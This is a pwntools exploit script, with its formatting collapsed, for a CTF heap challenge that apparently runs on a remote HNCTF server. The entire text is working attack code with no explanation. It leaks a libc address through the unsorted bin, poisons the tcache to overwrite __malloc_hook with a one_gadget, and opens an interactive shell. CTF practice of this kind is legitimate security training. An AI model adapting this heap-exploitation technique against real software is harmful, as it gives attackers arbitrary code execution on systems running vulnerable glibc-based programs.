1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77
| from pwn import * context.arch = 'amd64' context.log_level = 'debug' context.terminal = ['gnome-terminal', '-e'] local_file = '../ctf_file/what' libc=ELF("/home/feichai/ctf_file/libc-2.27.so", checksec = False) elf=ELF(local_file)
debug = 0 if debug: io = process(local_file) else: io = remote('hnctf.imxbt.cn', 50228)
def lg(s, addr): return info(f'\033[1;33m{f"{s}-->0x{addr:02x}"}\033[0m')
def dbg(): gdbscript = ''' ''' gdb.attach(io,gdbscript) pause()
r = lambda a: io.recv(a) ru = lambda a: io.recvuntil(a) s = lambda a: io.send(a) sa = lambda a,b: io.sendafter(a,b) sl = lambda a: io.sendline(a) sla = lambda a,b: io.sendlineafter(a,b)
def choice(index): sla('Enter your command:',str(index))
def add(size): choice(1) sla('size:',str(size))
def free(): choice(2)
def show(index): choice(3) sla('please enter idx:',str(index))
def edit(index,content): choice(4) sla('please enter idx:',str(index)) sa('your content:',content)
for i in range(9): add(0x80)
for i in range(7): free()
free() show(1)
ru("Content:") libc_leak = u64(r(6).ljust(8,b'\x00')) lg('libc_leak',libc_leak)
libc_base = libc_leak - 0x3ebca0 lg('libc_base',libc_base)
malloc_hook = libc_base + libc.sym["__malloc_hook"] one_gadget = [0x4f29e,0x4f2a5,0x4f302,0x10a2fc] gadget = libc_base + 0x10a2fc
edit(2,p64(malloc_hook)) add(0x80) add(0x80) edit(2,p64(gadget)*8) add(0x20)
io.interactive()
|